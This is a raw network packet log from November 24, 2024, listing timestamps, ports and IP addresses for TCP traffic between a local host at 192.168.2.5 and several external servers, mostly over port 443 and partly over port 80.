Nov 24, 2024 04:23:36.011004925 CET	443	49896	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:36.011475086 CET	49896	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:36.011480093 CET	443	49896	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:36.042697906 CET	49893	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:36.042706966 CET	443	49893	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:36.043134928 CET	49893	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:36.043140888 CET	443	49893	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:36.098423958 CET	49891	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:36.098462105 CET	443	49891	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:36.098478079 CET	49891	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:36.098486900 CET	443	49891	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:36.287153006 CET	49908	443	192.168.2.5	94.245.104.56
Nov 24, 2024 04:23:36.287199974 CET	443	49908	94.245.104.56	192.168.2.5
Nov 24, 2024 04:23:36.287262917 CET	49908	443	192.168.2.5	94.245.104.56
Nov 24, 2024 04:23:36.287918091 CET	49908	443	192.168.2.5	94.245.104.56
Nov 24, 2024 04:23:36.287935972 CET	443	49908	94.245.104.56	192.168.2.5
Nov 24, 2024 04:23:36.328087091 CET	443	49896	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:36.331127882 CET	443	49896	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:36.331239939 CET	443	49896	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:36.331276894 CET	49896	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:36.331305027 CET	49896	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:36.371592045 CET	443	49893	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:36.374535084 CET	443	49893	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:36.376208067 CET	49893	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:36.579570055 CET	443	49899	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:36.711133003 CET	49899	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:36.749962091 CET	49909	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:36.750058889 CET	443	49909	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:36.750916958 CET	49909	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:36.786056995 CET	49896	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:36.786088943 CET	443	49896	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:36.786128998 CET	49896	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:36.786134958 CET	443	49896	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:36.786586046 CET	49893	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:36.786659002 CET	443	49893	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:36.786698103 CET	49893	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:36.786715031 CET	443	49893	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:36.793617010 CET	49899	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:36.793687105 CET	443	49899	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:36.794162989 CET	49899	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:36.794176102 CET	443	49899	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:36.808995962 CET	49909	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:36.809032917 CET	443	49909	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:36.820471048 CET	443	49900	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:36.820943117 CET	49900	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:36.820976019 CET	443	49900	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:36.822371960 CET	49900	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:36.822386026 CET	443	49900	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:36.849566936 CET	49911	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:36.849610090 CET	443	49911	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:36.849684000 CET	49911	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:36.900481939 CET	49911	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:36.900511980 CET	443	49911	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:36.969031096 CET	49912	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:36.969137907 CET	443	49912	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:36.969218016 CET	49912	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:36.991633892 CET	49912	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:36.991671085 CET	443	49912	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:37.124413967 CET	443	49899	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:37.127367973 CET	443	49899	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:37.127446890 CET	49899	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:37.147002935 CET	49899	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:37.147053957 CET	443	49899	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:37.147083044 CET	49899	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:37.147099018 CET	443	49899	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:37.160556078 CET	49913	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:37.160624981 CET	443	49913	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:37.160696030 CET	49913	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:37.165813923 CET	49913	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:37.165826082 CET	443	49913	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:37.208791971 CET	49892	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:37.209439993 CET	49914	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:37.273629904 CET	443	49900	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:37.276770115 CET	443	49900	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:37.276859999 CET	49900	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:37.291492939 CET	49900	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:37.291543007 CET	443	49900	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:37.291574955 CET	49900	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:37.291591883 CET	443	49900	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:37.328701019 CET	80	49892	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:37.328799009 CET	49892	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:37.328984976 CET	80	49914	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:37.329065084 CET	49914	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:37.351078987 CET	49914	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:37.401750088 CET	49915	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:37.401791096 CET	443	49915	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:37.401859045 CET	49915	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:37.412466049 CET	49915	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:37.412480116 CET	443	49915	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:37.470719099 CET	80	49914	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:38.030767918 CET	443	49908	94.245.104.56	192.168.2.5
Nov 24, 2024 04:23:38.031189919 CET	49908	443	192.168.2.5	94.245.104.56
Nov 24, 2024 04:23:38.031246901 CET	443	49908	94.245.104.56	192.168.2.5
Nov 24, 2024 04:23:38.032289028 CET	443	49908	94.245.104.56	192.168.2.5
Nov 24, 2024 04:23:38.032371998 CET	49908	443	192.168.2.5	94.245.104.56
Nov 24, 2024 04:23:38.036259890 CET	49908	443	192.168.2.5	94.245.104.56
Nov 24, 2024 04:23:38.036326885 CET	443	49908	94.245.104.56	192.168.2.5
Nov 24, 2024 04:23:38.037010908 CET	49908	443	192.168.2.5	94.245.104.56
Nov 24, 2024 04:23:38.037029982 CET	443	49908	94.245.104.56	192.168.2.5
Nov 24, 2024 04:23:38.176393032 CET	49908	443	192.168.2.5	94.245.104.56
Nov 24, 2024 04:23:38.530198097 CET	443	49908	94.245.104.56	192.168.2.5
Nov 24, 2024 04:23:38.530426979 CET	443	49908	94.245.104.56	192.168.2.5
Nov 24, 2024 04:23:38.530545950 CET	49908	443	192.168.2.5	94.245.104.56
Nov 24, 2024 04:23:38.593677044 CET	443	49909	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:38.604150057 CET	49909	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:38.604211092 CET	443	49909	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:38.604643106 CET	49909	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:38.604655981 CET	443	49909	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:38.626245022 CET	49908	443	192.168.2.5	94.245.104.56
Nov 24, 2024 04:23:38.626318932 CET	443	49908	94.245.104.56	192.168.2.5
Nov 24, 2024 04:23:38.687159061 CET	443	49911	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:38.707845926 CET	49911	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:38.707885981 CET	443	49911	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:38.708412886 CET	49911	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:38.708426952 CET	443	49911	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:38.709182978 CET	443	49912	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:38.709500074 CET	49912	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:38.709554911 CET	443	49912	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:38.709901094 CET	49912	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:38.709916115 CET	443	49912	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:38.770644903 CET	80	49914	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:38.770725012 CET	49914	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:38.952745914 CET	443	49913	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:38.956016064 CET	49913	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:38.956099987 CET	443	49913	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:38.956533909 CET	49913	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:38.956542015 CET	443	49913	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:39.035929918 CET	443	49909	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:39.038929939 CET	443	49909	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:39.039539099 CET	49909	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:39.041832924 CET	49909	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:39.041882992 CET	443	49909	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:39.041912079 CET	49909	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:39.041928053 CET	443	49909	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:39.057146072 CET	49922	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:39.057226896 CET	443	49922	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:39.057307005 CET	49922	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:39.060410976 CET	49922	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:39.060445070 CET	443	49922	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:39.130909920 CET	443	49911	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:39.133986950 CET	443	49911	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:39.134090900 CET	49911	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:39.143062115 CET	443	49912	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:39.146311998 CET	443	49912	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:39.146521091 CET	49912	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:39.168812990 CET	49911	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:39.168920040 CET	443	49911	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:39.168973923 CET	49911	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:39.168992996 CET	443	49911	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:39.177508116 CET	49912	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:39.177551031 CET	443	49912	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:39.257077932 CET	443	49915	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:39.301759958 CET	49915	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:39.396397114 CET	443	49913	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:39.399461031 CET	443	49913	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:39.399530888 CET	49913	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:39.399538994 CET	443	49913	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:39.400350094 CET	49913	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:39.661577940 CET	49923	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:39.661649942 CET	443	49923	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:39.661775112 CET	49923	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:39.662141085 CET	49915	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:39.662177086 CET	443	49915	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:39.662570953 CET	49915	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:39.662575960 CET	443	49915	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:39.662820101 CET	49913	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:39.662843943 CET	443	49913	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:39.662856102 CET	49913	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:39.662862062 CET	443	49913	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:39.672625065 CET	49923	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:39.672656059 CET	443	49923	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:39.676983118 CET	49924	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:39.677082062 CET	443	49924	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:39.677170992 CET	49924	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:39.677437067 CET	49924	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:39.677474976 CET	443	49924	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:39.679964066 CET	49925	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:39.680051088 CET	443	49925	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:39.680124044 CET	49925	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:39.680399895 CET	49925	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:39.680444002 CET	443	49925	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:39.997349977 CET	443	49915	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:40.000216007 CET	443	49915	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:40.000291109 CET	49915	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:40.001753092 CET	49915	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:40.001775026 CET	443	49915	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:40.001787901 CET	49915	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:40.001792908 CET	443	49915	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:40.004831076 CET	49927	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:40.004920006 CET	443	49927	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:40.005084038 CET	49927	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:40.007426977 CET	49927	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:40.007474899 CET	443	49927	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:40.406714916 CET	49914	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:40.407030106 CET	49931	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:40.438990116 CET	49932	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:40.439079046 CET	443	49932	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:40.439157009 CET	49932	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:40.439367056 CET	49932	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:40.439397097 CET	443	49932	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:40.440165043 CET	49933	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:40.440220118 CET	443	49933	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:40.440268993 CET	49933	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:40.440403938 CET	49933	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:40.440416098 CET	443	49933	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:40.446980953 CET	49934	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:40.447009087 CET	443	49934	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:40.447062969 CET	49934	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:40.447658062 CET	49934	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:40.447679996 CET	443	49934	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:40.526504040 CET	80	49914	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:40.526562929 CET	80	49931	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:40.526566982 CET	49914	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:40.526624918 CET	49931	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:40.592847109 CET	49931	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:40.712305069 CET	80	49931	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:40.908282042 CET	443	49922	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.008158922 CET	49922	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.008200884 CET	443	49922	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.008583069 CET	49922	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.008590937 CET	443	49922	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.113601923 CET	49935	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:41.113656998 CET	443	49935	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:41.113713980 CET	49935	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:41.114053965 CET	49935	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:41.114067078 CET	443	49935	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:41.146826029 CET	49936	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:41.146878004 CET	443	49936	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:41.147063971 CET	49936	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:41.148009062 CET	49936	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:41.148057938 CET	443	49936	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:41.207501888 CET	49937	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:41.207607031 CET	443	49937	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:41.207782984 CET	49937	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:41.208313942 CET	49937	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:41.208350897 CET	443	49937	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:41.256599903 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:41.256649971 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:41.256731987 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:41.256959915 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:41.256978989 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:41.362894058 CET	443	49922	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.366024017 CET	443	49922	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.366091013 CET	49922	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.366118908 CET	443	49922	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.366146088 CET	443	49922	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.366209030 CET	49922	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.368825912 CET	49922	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.368848085 CET	443	49922	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.368860960 CET	49922	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.368868113 CET	443	49922	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.373646975 CET	49940	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.373691082 CET	443	49940	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.373832941 CET	49940	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.376832008 CET	49940	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.376847982 CET	443	49940	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.397838116 CET	443	49923	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.397917032 CET	443	49924	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.398504019 CET	49923	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.398540974 CET	443	49923	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.399066925 CET	49923	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.399074078 CET	443	49923	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.399490118 CET	49924	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.399538040 CET	443	49924	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.399893999 CET	49924	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.399904013 CET	443	49924	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.457982063 CET	443	49925	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.461296082 CET	49925	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.461348057 CET	443	49925	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.461740971 CET	49925	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.461749077 CET	443	49925	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.701179028 CET	443	49933	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:41.701291084 CET	443	49934	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:41.711719990 CET	49933	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:41.711747885 CET	443	49933	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:41.712459087 CET	49934	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:41.712486029 CET	443	49934	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:41.712841034 CET	443	49933	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:41.712908030 CET	49933	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:41.713606119 CET	443	49934	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:41.713669062 CET	49934	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:41.737873077 CET	443	49932	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:41.752042055 CET	49933	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:41.752235889 CET	443	49933	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:41.753041983 CET	49932	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:41.753071070 CET	443	49932	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:41.754185915 CET	443	49932	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:41.754275084 CET	49932	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:41.756987095 CET	49934	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:41.757158995 CET	443	49934	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:41.758531094 CET	49933	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:41.758549929 CET	443	49933	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:41.758716106 CET	49932	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:41.758794069 CET	443	49932	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:41.758898020 CET	49934	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:41.758919001 CET	443	49934	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:41.758949041 CET	49932	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:41.758955956 CET	443	49932	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:41.787097931 CET	443	49927	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.808607101 CET	49927	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.808635950 CET	443	49927	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.809014082 CET	49927	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.809026003 CET	443	49927	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.830755949 CET	443	49923	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.833796024 CET	443	49923	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.833869934 CET	49923	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.833929062 CET	49923	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.833951950 CET	443	49923	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.833961964 CET	49923	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.833967924 CET	443	49923	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.835201025 CET	443	49924	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.838299990 CET	443	49924	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.838372946 CET	49924	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.839752913 CET	49924	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.839785099 CET	443	49924	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.839803934 CET	49924	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.839812994 CET	443	49924	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.857774019 CET	49942	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.857815981 CET	443	49942	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.857938051 CET	49942	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.858568907 CET	49942	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.858581066 CET	443	49942	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.879656076 CET	49933	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:41.906090975 CET	443	49925	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.908102989 CET	49934	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:41.908102989 CET	49932	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:41.909096003 CET	443	49925	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.909152985 CET	443	49925	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.909163952 CET	49925	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.909347057 CET	49925	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.923502922 CET	49943	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.923614025 CET	443	49943	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.923710108 CET	49943	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.928385019 CET	49925	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.928385019 CET	49925	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.928431034 CET	443	49925	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.928457022 CET	443	49925	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.945658922 CET	49943	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:41.945703983 CET	443	49943	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:41.952168941 CET	49944	443	192.168.2.5	13.107.246.63
